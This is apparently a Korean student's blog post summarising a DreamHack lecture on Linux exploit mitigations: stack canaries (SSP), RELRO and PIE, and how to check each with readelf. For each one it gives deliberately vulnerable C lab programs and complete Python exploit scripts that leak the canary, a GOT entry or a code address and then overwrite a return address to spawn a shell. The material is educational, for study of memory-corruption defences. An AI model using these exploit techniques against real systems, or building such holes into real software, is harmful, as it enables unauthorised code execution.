일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | 5 | 6 | 7 |
8 | 9 | 10 | 11 | 12 | 13 | 14 |
15 | 16 | 17 | 18 | 19 | 20 | 21 |
22 | 23 | 24 | 25 | 26 | 27 | 28 |
29 | 30 | 31 |
- XSS Game
- 자료구조 복습
- 드림핵
- Sookmyung Information Security Study
- C언어
- 웹페이지 만들기
- 생활코딩
- The Loard of BOF
- 파이썬
- hackerrank
- 머신러닝
- c
- WarGame
- Javascript
- hackctf
- siss
- BOJ Python
- HTML
- BOJ
- PHP 웹페이지 만들기
- 숙명여자대학교 정보보안동아리
- SWEA
- 풀이
- 숙명여자대학교 정보보안 동아리
- 기계학습
- 백준
- lob
- CSS
- c++
- Python
- Today
- Total
혜랑's STORY
[Linux Exploitation&Mitigation Part 3] 본문
[Linux Exploitation&Mitigation Part 3]
hyerang0125 2021. 2. 28. 12:58본 포스팅은 DreamHack 사이트의 Linux Exploitation & Mitigation Part 3 강의 내용을 요약한 것이다. 강의의 주소는 다음과 같다.
1. SSP (Stack Smashingg Protector)
- 메모리 커럽션 취약점 중 스택 버퍼 오버플로우 취약점을 막기 위해 개발된 보호 기법이다. 스택 버퍼와 스택 프레임 포인터 사이에 랜덤 값을 삽입하여 함수 종표 시점에서 랜덤 값 변조 여부를 검사함으로써 스택이 망가뜨려졌는지 확인한다.
SSP 보호 기법이 적용되어 있다면 함수에서 스택을 사용할 때 카나리가 생성된다. 마스터 카나리는 main 함수가 호출되기 전에 랜덤으로 생성된 카나리를 스레드 별 전역변수로 사용되는 TLS(Thread Local Storage)에 저장한다. 이때 TLS 영역은 _dl_allocate_tls_storage 함수에서 __libc_memalign 함수를 호출하여 할당된다.
TLS는 tcbhead_t 구조체를 가지는데 다음과 같은 멤버 변수들이 존재한다.
typedef struct
{
void *tcb; /* Pointer to the TCB. Not necessarily the
thread descriptor used by libpthread. */
dtv_t *dtv;
void *self; /* Pointer to the thread descriptor. */
int multiple_threads;
uintptr_t sysinfo;
uintptr_t stack_guard;
uintptr_t pointer_guard;
int gscope_flag;
#ifndef __ASSUME_PRIVATE_FUTEX
int private_futex;
#else
int __glibc_reserved1;
#endif
/* Reservation of some values for the TM ABI. */
void *__private_tm[4];
/* GCC split stack support. */
void *__private_ss;
} tcbhead_t;
security_init 함수는 _dl_allocate_tls_storage 함수에서 반환한 랜덤 카나리 값을 설정한다.
>> security_init
static void
security_init (void)
{
/* Set up the stack checker's canary. */
uintptr_t stack_chk_guard = _dl_setup_stack_chk_guard (_dl_random);
#ifdef THREAD_SET_STACK_GUARD
THREAD_SET_STACK_GUARD (stack_chk_guard);
#else
__stack_chk_guard = stack_chk_guard;
#endif
>> _dl_allocate_tls_storage
void *
internal_function
_dl_allocate_tls_storage (void)
{
void *result;
size_t size = GL(dl_tls_static_size);
#if TLS_DTV_AT_TP
/* Memory layout is:
[ TLS_PRE_TCB_SIZE ] [ TLS_TCB_SIZE ] [ TLS blocks ]
^ This should be returned. */
size += (TLS_PRE_TCB_SIZE + GL(dl_tls_static_align) - 1)
& ~(GL(dl_tls_static_align) - 1);
#endif
/* Allocate a correctly aligned chunk of memory. */
result = __libc_memalign (GL(dl_tls_static_align), size);
THREAD_SET_STACK_GUARD 메크로는 TLS 영역의 header.stack_guard에 카나리의 값을 삽입하는 역할을 한다.
#define THREAD_SET_STACK_GUARD(value) \
THREAD_SETMEM (THREAD_SELF, header.stack_guard, value)
>> master1.c
// gcc -o master1 master1.c
#include <stdio.h>
#include <unistd.h>
int main()
{
char buf[256];
read(0, buf, 256);
}
위 코드는 256 바이트 배열 buf를 할당하고 read 함수를 통해서 입력받는 예제이다. SSP 보호기법이 적용되어 있고 지역 변수를 사용하므로 main 함수에서 카나리를 삽입하고 검사하는 루틴이 존재한다.
컴파일러에서 SSP 보호기법을 적용하는 경우 스택 배열을 사용하는 함수가 있으면 함수의 시작 부분과 끝 부분에 stack_guard 체크 코드가 삽입된다. 함수의 프롤로그와 에필로그에 스택 카나리 검증 루틴이 추가된 것을 볼 수 있다.
buf 배열의 사이즈보다 긴 값을 인자로 전달해 스택 버퍼 오버플로우 취약점을 트리거해보자.
>> ssp.c
// gcc -o ssp ssp.c -m32
#include <stdio.h>
#include <string.h>
void func(char *s){
char buf[16] = {};
/*
long canary = stack_guard;
*/
strcpy(buf, s);
/*
if (canary != stack_guard)
stack_chk_fail();
*/
}
int main(int argc, char *argv[]){
func(argv[1]);
}
__stack_chk_fail 함수가 호출되어 "stack smashing detected" 문자열이 출력되고 프로그램이 종료된다.
+) Bypassing SSP - 1
SSP 보호기법을 우회하기 위해선 스택 메모리에 존재하는 스택 카나리의 값을 변조시키지 않은 채로 익스플로잇 해야 한다. 스택 오버플로우 취약점이 존재하는 다음 예시에서, SSP 보호기법을 우회하여 익스플로잇하는 실습을 해보자.
>> example6.c
// gcc -o example6 example6.c -m32 -mpreferred-stack-boundary=2
#include <stdio.h>
void give_shell(void){
system("/bin/sh");
}
int main(void){
char buf[32] = {};
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
printf("Input1 : ");
read(0, buf, 512);
printf("Your input : %s", buf);
printf("Input2 : ");
read(0, buf, 512);
}
시크릿 버퍼를 출력한 모습니다.
우선 gdb를 이용해 buf 배열부터 스택 카나리+1까지의 오프셋을 구한다. (실습이 원활히 이루어지지 않아 일단 드림핵에 있는 자료를 이용하여 정리함.)
$ gdb -q ./example6
Reading symbols from ./example6...(no debugging symbols found)...done.
(gdb) disas main
Dump of assembler code for function main:
0x0804855e <+0>: push ebp
0x0804855f <+1>: mov ebp,esp
0x08048561 <+3>: sub esp,0x24
0x08048564 <+6>: mov eax,gs:0x14
0x0804856a <+12>: mov DWORD PTR [ebp-0x4],eax
…
0x080485c0 <+98>: add esp,0x4
0x080485c3 <+101>: push 0x200
0x080485c8 <+106>: lea eax,[ebp-0x24]
0x080485cb <+109>: push eax
0x080485cc <+110>: push 0x0
0x080485ce <+112>: call 0x80483e0 <read@plt>
…
0x0804860c <+174>: mov edx,DWORD PTR [ebp-0x4]
0x0804860f <+177>: xor edx,DWORD PTR gs:0x14
0x08048616 <+184>: je 0x804861d <main+191>
0x08048618 <+186>: call 0x8048400 <__stack_chk_fail@plt>
0x0804861d <+191>: leave
0x0804861e <+192>: ret
End of assembler dump.
(gdb) b *0x080485ce
Breakpoint 1 at 0x80485ce
(gdb) r
Starting program: ~/example6
Input1 :
Breakpoint 1, 0x080485ce in main ()
(gdb) x/3wx $esp
0xffffd528: 0x00000000 0xffffd534 0x00000200
(gdb) x/40wx 0xffffd534
0xffffd534: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd544: 0x00000000 0x00000000 0x00000000 0x00000000
0xffffd554: 0xc5a20100 0x00000000 0xf7e19637 0x00000001
0xffffd564: 0xffffd5f4 0xffffd5fc 0x00000000 0x00000000
0xffffd574: 0x00000000 0xf7fb3000 0xf7ffdc04 0xf7ffd000
0xffffd584: 0x00000000 0xf7fb3000 0xf7fb3000 0x00000000
0xffffd594: 0x0416aed7 0x389780c7 0x00000000 0x00000000
0xffffd5a4: 0x00000000 0x00000001 0x08048450 0x00000000
0xffffd5b4: 0xf7fee010 0xf7fe8880 0xf7ffd000 0x00000001
0xffffd5c4: 0x08048450 0x00000000 0x08048471 0x0804855e
(gdb) p/x 0xffffd555-0xffffd534
$1 = 0x21
(gdb)
gdb로 확인한 결과 스택 카나리+!부터 buf 까지의 오프셋은 0x21인 것을 알 수 있다. 이를 이용하여 스크립트를 작성해 보자.
>> example6_leak.py
#!/usr/bin/python
'''
example6_leak.py
'''
import struct
import subprocess
import os
import pty
def readline(fd):
res = ''
try:
while True:
ch = os.read(fd, 1)
res += ch
if ch == '\n':
return res
except:
raise
def read(fd, n):
return os.read(fd, n)
def writeline(proc, data):
try:
proc.stdin.write(data + '\n')
proc.stdin.flush()
except:
raise
def write(proc, data):
try:
proc.stdin.write(data)
proc.stdin.flush()
except:
raise
def p32(val):
return struct.pack("<I", val)
def u32(data):
return struct.unpack("<I", data)[0]
out_r, out_w = pty.openpty()
s = subprocess.Popen("./example6", stdin=subprocess.PIPE, stdout=out_w)
print read(out_r, 10)
write(s, "A"*33)
data = read(out_r, 1024) # printing until null byte (containing canary)
print `"[+] data : " + data`
canary = "\x00" + data.split("A"*33)[1][:3] # retrieving canary from data
print "[+] CANARY : " + hex(u32(canary))
위 코드를 실행하여 스택 카나리의 값을 출력해 보자.
$ python example6_leak.py
Input1 :
'[+] data : Your input : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE\x8b\xa5'
[+] CANARY : 0xa58b4500
다음으로는 구한 스택 카나리 값을 이용해 main 함수의 2번째 read 함수에서 스택 버퍼 오버플로우를 익스플로잇 할 수 있다. gdb를 이용해 give_shell 함수의 주소를 구한 후 리턴 주소를 덮어 셸을 획득해 보자.
(gdb) p give_shell
$1 = {<text variable, no debug info>} 0x804854b <give_shell>
(gdb)
>> example6.py
#!/usr/bin/python
'''
example6.py
'''
import struct
import subprocess
import os
import pty
import sys
def readline(fd):
res = ''
try:
while True:
ch = os.read(fd, 1)
res += ch
if ch == '\n':
return res
except:
raise
def read(fd, n):
return os.read(fd, n)
def writeline(proc, data):
try:
proc.stdin.write(data + '\n')
proc.stdin.flush()
except:
raise
def write(proc, data):
try:
proc.stdin.write(data)
proc.stdin.flush()
except:
raise
def p32(val):
return struct.pack("<I", val)
def u32(data):
return struct.unpack("<I", data)[0]
out_r, out_w = pty.openpty()
s = subprocess.Popen("./example6", stdin=subprocess.PIPE, stdout=out_w)
print read(out_r, 10) # "Input1 : "
write(s, "A"*33)
data = read(out_r, 1024) # printing until null byte (containing canary)
print `"[+] data : " + data`
canary = "\x00" + data.split("A"*33)[1][:3] # retrieving canary from data
print "[+] CANARY : " + hex(u32(canary))
print read(out_r, 10) # "Input2 : "
giveshell = 0x804854b
payload = "A"*32 # filling buf
payload += canary
payload += "B"*4 # padding until return address
payload += p32(giveshell)
write(s, payload)
print "[+] get shell"
while True:
cmd = raw_input("$ ")
writeline(s, cmd)
res = read(out_r, 102400)
sys.stdout.write(res)
위 코드는 example6의 리턴 주소를 give_shell 함수의 주소인 0x804854b로 바꾸어 셸을 획득하는 파이썬 스크립트이다. 실행하면 다음과 같이 셸이 획득되는 것을 확인할 수 있다.
$ python example6.py
Input1 :
'[+] data : Your input : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1b\xf2\x13'
[+] CANARY : 0x13f21b00
Input2 :
[+] get shell
$ id
uid=1001(theori) gid=1001(theori) groups=1001(theori)
$
+) SSP 설정 여부 확인
SSP가 적용되어 있는 바이널리의 디스어셈블리 결과를 보면, 스택 카나리가 변조되었을 때 함수의 에필로그에서 stack_chk_fail 함수를 호출하는 코드를 확인할 수 있다. stack_chk_fail은 표준 라이브러리인 libc.so.6에 존재하는 함수이기 때문에, 바이너리에 이 함수의 심볼이 존재하는지 확인하는 것만으로 SSP 적용 여부를 알 수 있다.
2. RELRO(Relocation Read-Only)
+) Bypassing RELRO
ELF 바이너리에서 printf와 같이 동적으로 링크된 라이브러리의 함수를 호출할 때, 호출된 함수의 주소를 찾기 위해 PLT와 GOT를 사용한다는 것을 배웠다. GOT는 처음에 라이브러리 함수의 주소를 구하는 바이너리 코드 영역 주소가 저장되어 있다가, 함수가 처음 호출될 때 라이브러리 함수의 실제 주소가 저장된다.
이렇듯 바이너리가 실행되는 도중, 함수가 처음 호출된 때 주소를 찾는 방식을 Lazy Binding이라고 한다. Lazy Binding을 할 때는 프로그램이 실행되고 있는 도중 GOT에 라이브러리 함수의 주소를 덮어써야 하기 때문에 GOT에 쓰기 권한이 있어야 한다.
그러나 RELRO 보호기법이 설정되어 있으면 GOT와 같은 다이나믹 섹션이 읽기 권한만을 가지게 된다.
>> example7.c
// gcc -o example7 example7.c -mpreferred-stack-boundary=2 -Wl,-z,relro,-z,now
#include <stdio.h>
void arbitrary_read(long * addr){
printf("%lx\n", *addr);
}
void arbitrary_write(long *addr, long val){
*addr = val;
}
void menu(void){
puts("0. exit");
puts("1. Leak Address");
puts("2. Arbitrary Write");
}
int main(void){
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
int choice = 0;
long addr = 0;
long value = 0;
while(1){
menu();
scanf("%d", &choice);
switch(choice){
case 1:
printf("Which address? : ");
scanf("%lu", &addr);
arbitrary_read(addr);
break;
case 2:
printf("Address : ");
scanf("%lu", &addr);
printf("Value : ");
scanf("%lu", &value);
arbitrary_write(addr, value);
break;
case 0:
return 0;
default:
break;
}
}
}
RELRO 옵션과 함께 컴파일한 바이너리이다. 실행 결과는 다음과 같다.
0. exit
1. Leak Address
2. Arbitrary Write
1번 메뉴에서는 임의 주소 읽기가 2번 메뉴에서는 임의 주소 쓰기가 가능한 것을 확인할 수 있다.
우선 system 함수의 주소를 구하기 위해 libc.so.6 라이브러리 주소를 릭해보자. RELRO 보호기버버이 적용되어 있다 하더라도 GOT에 라이브러리 주소가 저장되어 있기 때문에 GOT를 이용하면 libc.so.6 라이브러리의 주소를 구할 수 있다.
menu 함수에 있는 puts@plt로부터 puts@got의 위치를 찾아보자.
$ gdb -q ./example7
Reading symbols from ./example7...(no debugging symbols found)...done.
(gdb) disas menu
Dump of assembler code for function menu:
0x08048572 <+0>: push ebp
0x08048573 <+1>: mov ebp,esp
0x08048575 <+3>: push 0x8048745
0x0804857a <+8>: call 0x8048420
0x0804857f <+13>: add esp,0x4
0x08048582 <+16>: push 0x804874d
0x08048587 <+21>: call 0x8048420
0x0804858c <+26>: add esp,0x4
0x0804858f <+29>: push 0x804875d
0x08048594 <+34>: call 0x8048420
0x08048599 <+39>: add esp,0x4
0x0804859c <+42>: nop
0x0804859d <+43>: leave
0x0804859e <+44>: ret
End of assembler dump.
(gdb) x/2i 0x8048420
0x8048420: jmp DWORD PTR ds:0x8049fec
0x8048426: xchg ax,ax
puts@got의 주소는 0x8049fec인 것을 알 수 있다.
>> example7_leak.py
#!/usr/bin/python
'''
example7_leak.py
'''
import struct
import subprocess
import os
import pty
def readline(fd):
res = ''
try:
while True:
ch = os.read(fd, 1)
res += ch
if ch == '\n':
return res
except:
raise
def read(fd, n):
return os.read(fd, n)
def readuntil(fd, needle):
res = ''
while True:
res += os.read(fd, 1)
if needle in res:
return res
def writeline(proc, data):
try:
proc.stdin.write(data + '\n')
proc.stdin.flush()
except:
raise
def write(proc, data):
try:
proc.stdin.write(data)
proc.stdin.flush()
except:
raise
def p32(val):
return struct.pack("<I", val)
def u32(data):
return struct.unpack("<I", data)[0]
out_r, out_w = pty.openpty()
s = subprocess.Popen("./example7", stdin=subprocess.PIPE, stdout=out_w)
def arb_read(addr):
readuntil(out_r, "2. Arbitrary Write")
writeline(s, "1")
readuntil(out_r, ": ")
writeline(s, "%d"%addr)
return int(readuntil(out_r, "\n"), 16)
puts_addr = arb_read(0x8049fec)
print "puts @ "+hex(puts_addr)
이는 1번 메뉴에 puts의 GOT 주소인 0x8049fec를 입력하여 puts 함수의 주소를 구하는 코드인다. 이를 실행하면 다음과 같이 puts 함수의 주소가 출력되는 것을 볼 수 있다.
$ example7_leak.py
puts @ 0xf7e0eca0
example7의 메모리 권한을 보면 GOT에 쓰기 권한이 없다. 하지만 RELRO 보호기법이 적용되어 있더라도 스택등 동적으로 데이터를 써야 하는 메모리에는 여전히 쓰기 권한이 있다. 2번 메뉴인 임의 주소 쓰기 기능을 이용해 main 함수의 리턴 주소를 덮어써 익스플로잇 할 수 있다.
>>example7의 메모리 권한
(gdb) x/2i 0x8048420
0x8048420: jmp DWORD PTR ds:0x8049fec
0x8048426: xchg ax,ax
(gdb) info proc
process 5004
...
(gdb) shell cat /proc/5004/maps
08048000-08049000 r-xp 00000000 08:01 162698 ~/example7
08049000-0804a000 r--p 00000000 08:01 162698 ~/example7
0804a000-0804b000 rw-p 00001000 08:01 162698 ~/example7
…
fffdd000-ffffe000 rw-p 00000000 00:00 0 [stack]
+) RELRO가 설정되어 있는지 확인하는 방법
RELRO는 바이너리 섹션에 Read Only가 적용된 정도에 따라 크게 No RELRO, Partial RELRO, Full RELRO 세단계로 나뉠 수 있다.
- No RELRO : 바이너리에 RELRO 보호기법이 아예 적용되어 있지 않은 상태
- Partial RELRO : .init_arry나 .fini_arry 등 non-PLT GOT에 대한 쓰기 권한을 제거한 상태이다.
- Full RELRO : GOT 섹션에 대한 쓰기 권한까지 제거해 .bss 영역을 제외한 모든 바이너리 섹션에서 쓰기 권한이 제거된 상태이다.
readelf를 사용하면 ELF 바이너리에 설정된 RELRO 보호기법을 체크할 수 있다.
Full RELRO는 해당 바이너리가 Now Binding을 하는지 Lazy Binding을 하는지에 대한 검사를 통해 확인할 수 있다. 간단하게 readelf -a의 출력 결과에 BIND_NOW 문자열을 그랩해봄으로써 체크 가능하다.
$ readelf -a ./example7 | grep BIND_NOW
0x00000018 (BIND_NOW)
만약 바이너리의 readelf 출력 결과에 BIND_NOW 문자열이 없으면, GNU_RELRO 문자열의 검사를 통해 Partial RELRO 적용 여부를 확인할 수 있다.
$ readelf -a ./example4 | grep GNU_RELRO
GNU_RELRO 0x000f08 0x08049f08 0x08049f08 0x000f8 0x000f8 R 0x1
3. PIE (Position Independent Executable)
- 바이너리가 로딩될 때 랜덤한 주소에 매핑되는 보호기법이다. 원리는 공유 라이브러리와 비슷하며 컴파일러는 바이너리가 메모리 어디에 매핑되어도 실행에 지장이 없도록 바이너리를 위치 독립적으로 컴파일한다. 이는 결과 코드 영역의 주소 랜덤화를 가능하게 해주며, PIE가 설정되어 있으면 코드 영역의 주소가 실행될 때마다 변하기 때문에 ROP와 같은 코드 재사용 공격을 막을 수 있다.
PIE 보호기법을 우회하기 위햏서는 코드 영역의 주소를 알아내야 한다. PIE가 설정되어 있을 떄 코드 영역은 공유 라이브러리처럼 메모리에 로딩되기 때문에 libc.so.6 라이브러리 주소를 구하는 과정과 같이 특정 코드 영역의 주소를 알아낸다면 코드 영역 베이스 주소를 구할 수 있다.
>> example8.c
// gcc -o example8 example8.c -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -fPIC -pie
#include <stdio.h>
void give_shell(void){
system("/bin/sh");
}
void vuln(void){
char buf[32] = {};
printf("Input1 > ");
read(0, buf, 512); // Buffer Overflow
printf(buf); // Format String Bug
printf("Input2 > ");
read(0, buf, 512); // Buffer Overflow
}
int main(void){
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
vuln();
}
$ gdb -q ./example8
Reading symbols from ./example8...(no debugging symbols found)...done.
(gdb) disas vuln
Dump of assembler code for function vuln:
0x000006f5 <+0>: push ebp
0x000006f6 <+1>: mov ebp,esp
0x000006f8 <+3>: push ebx
0x000006f9 <+4>: sub esp,0x20
gdbㄹ로 vuln 함수를 디스어셈블 했을 때 주소가 오프셋 형태로 출력되는 것을 확인할 수 있다.
바이너리에는 셸을 실행시켜주는 give_shell 함수가 있다. 우선 give_shell 함수의 주소를 구하고 스택 버퍼 오버플로우 취약점으로 리턴 주소를 give_shell 함수의 주소로 덮어 셸을 실행해보자.
>> printf가 호출되는 시점의 스택 메모리
$ gdb -q ./example8
Reading symbols from ./example8...(no debugging symbols found)...done.
(gdb) start
Temporary breakpoint 1 at 0x780
Starting program: ~/example8
Temporary breakpoint 1, 0x56555780 in main ()
(gdb) disas vuln
Dump of assembler code for function vuln:
...
0x00000745 <+80>: add esp,0xc
0x00000748 <+83>: lea eax,[ebp-0x24]
0x0000074b <+86>: push eax
0x0000074c <+87>: call 0x510 <printf@plt>
...
End of assembler dump.
(gdb) b *0x5655574c
Breakpoint 2 at 0x5655574c
(gdb) c
Continuing.
Input1 > aaaabbbbcccc
Breakpoint 2, 0x5655574c in vuln ()
(gdb) x/40wx $esp
0xffffd524: 0xffffd528 0x61616161 0x62626262 0x63636363
0xffffd534: 0x0000000a 0x00000000 0x00000000 0x00000000
0xffffd544: 0x00000000 0x56557000 0xffffd558 0x565557be
0xffffd554: 0x00000000 0x00000000 0xf7e19637 0x00000001
0xffffd564: 0xffffd5f4 0xffffd5fc 0x00000000 0x00000000
0xffffd574: 0x00000000 0xf7fb3000 0xf7ffdc04 0xf7ffd000
0xffffd584: 0x00000000 0xf7fb3000 0xf7fb3000 0x00000000
0xffffd594: 0xb988c975 0x8509e765 0x00000000 0x00000000
0xffffd5a4: 0x00000000 0x00000001 0x56555560 0x00000000
0xffffd5b4: 0xf7fee010 0xf7fe8880 0x56557000 0x00000001
(gdb) x/s 0xffffd528
0xffffd528: "aaaabbbbcccc\n"
(gdb)
스택 메모리를 보면, 0xffffd550에 바이너리 코드 영역의 주소인 0x565557be이 저장되어 있는 것을 볼 수 있다. gdb로 확인해 본 결과 0x565557be는 vuln 함수의 리턴 주소인 것을 알 수 있다.
바이너리 코드 영역의 주소를 구해 give_shell 주소를 계산하는 것이 목표이기 떼문에 포맷 스트링 버그를 이용해 0xffffd550에 있는 값을 출력시켜 보자.
Input1 > %x_%x_%x_%x_%x_%x_%x_%x_%x_%x_%x
255f7825_78255f78_5f78255f_255f7825_78255f78_5f78255f_255f7825_78255f78_5655700a_ffffd558_565557be
11번째 "%x"에 대한 결과로 565557be가 출력되어 바이너리의 코드 주소를 알아내었다. 이 주소를 이용해 gove_shell의 주소를 계산해보자.
(gdb) p give_shell
$1 = {<text variable, no debug info>} 0x565556d0 <give_shell>
(gdb) p/x 0x565557be - 0x565556d0
$2 = 0xee
(gdb)
give_shell의 주소는 0x565557be - 0xee인 것을 확인하였다.
>> example8_leak.py
#!/usr/bin/python
'''
example8_leak.py
'''
import struct
import subprocess
import os
import pty
def readline(fd):
res = ''
try:
while True:
ch = os.read(fd, 1)
res += ch
if ch == '\n':
return res
except:
raise
def read(fd, n):
return os.read(fd, n)
def writeline(proc, data):
try:
proc.stdin.write(data + '\n')
proc.stdin.flush()
except:
raise
def write(proc, data):
try:
proc.stdin.write(data)
proc.stdin.flush()
except:
raise
def p32(val):
return struct.pack("<I", val)
def u32(data):
return struct.unpack("<I", data)[0]
out_r, out_w = pty.openpty()
s = subprocess.Popen("./example8", stdin=subprocess.PIPE, stdout=out_w)
print read(out_r, 10)
writeline(s, "%x_"*11)
fsb_data = readline(out_r)
datas = fsb_data.split("_")
code_addr = int(datas[10], 16) # get 11th %x output
print "vuln_ret_addr @ " + hex(code_addr)
give_shell = code_addr - 0xee
print "give_shell @ " + hex(give_shell)
스크립트를 실행하면 다음과 같이 give_shell 함수의 주소가 출력된다.
$ python example8_leak.py
Input1 >
vuln_ret_addr @ 0x565b67be
give_shell @ 0x565b66d0
스택 오버플로우 취약점을 이용해 vuln 함수의 리턴 주소를 덮어 셸을 실행해 보자.
buf로부터 리턴 주소까지의 오프셋은 40바이트이므로 최종 공격 페이로드는 아래와 같이 구성된다.
"A" * 40 + give_shell
#!/usr/bin/python
'''
example8.py
'''
import struct
import subprocess
import os
import pty
import sys
def readline(fd):
res = ''
try:
while True:
ch = os.read(fd, 1)
res += ch
if ch == '\n':
return res
except:
raise
def read(fd, n):
return os.read(fd, n)
def writeline(proc, data):
try:
proc.stdin.write(data + '\n')
proc.stdin.flush()
except:
raise
def write(proc, data):
try:
proc.stdin.write(data)
proc.stdin.flush()
except:
raise
def p32(val):
return struct.pack("<I", val)
def u32(data):
return struct.unpack("<I", data)[0]
out_r, out_w = pty.openpty()
s = subprocess.Popen("./example8", stdin=subprocess.PIPE, stdout=out_w)
print read(out_r, 10)
write(s, "%x_"*11+"\n\x00")
fsb_data = readline(out_r)
datas = fsb_data.split("_")
code_addr = int(datas[10], 16) # get 11th %x output
print "vuln_ret_addr @ " + hex(code_addr)
give_shell = code_addr - 0xee
print "give_shell @ " + hex(give_shell)
read(out_r, 1024)
payload = "A"*40
payload += p32(give_shell)
write(s, payload)
print "[+] get shell"
while True:
cmd = raw_input("$ ")
writeline(s, cmd)
res = read(out_r, 102400)
sys.stdout.write(res+'\n')
익스플로잇 코드이다. 실행한 결과는 다음과 같다.
$ python example8.py
Input1 >
vuln_ret_addr @ 0x565eb7be
give_shell @ 0x565eb6d0
[+] get shell
$ id
uid=1001(theori) gid=1001(theori) groups=1001(theori)
+) PIE가 설정되어 있는지 확인하는 방법
- readelf를 이용해 바이너리의 type header를 검사하는 것으로 바이너리의 PIE 적용 여부를 체크할 수 있다.
$ readelf -h ./no_pie | grep Type
Type: EXEC (Executable file)
$ readelf -h ./pie | grep Type
Type: DYN (Shared object file)
type header의 경우 일반적인 실행 파일은 EXEC, 라이브러리와 같은 shared 파일은 DYN 값을 갖는다. PIE가 적용되어 있는 바이너리의 타입은 DYN 이다.
'무지성 공부방 > Dreamhack SystemHacking' 카테고리의 다른 글
[System Hacking STAGE 2] Background: Linux Memory Layout (0) | 2022.01.18 |
---|---|
[System Hacking STAGE 2] Background: Computer Architecture (0) | 2022.01.18 |
Linux Exploitation & Mitigation Part 2 (1) (0) | 2021.02.21 |
Linux Exploitation & Mitigation Part 1 (2) (0) | 2021.02.07 |
Linux Exploitation & Mitigation Part 1(1) (0) | 2021.01.30 |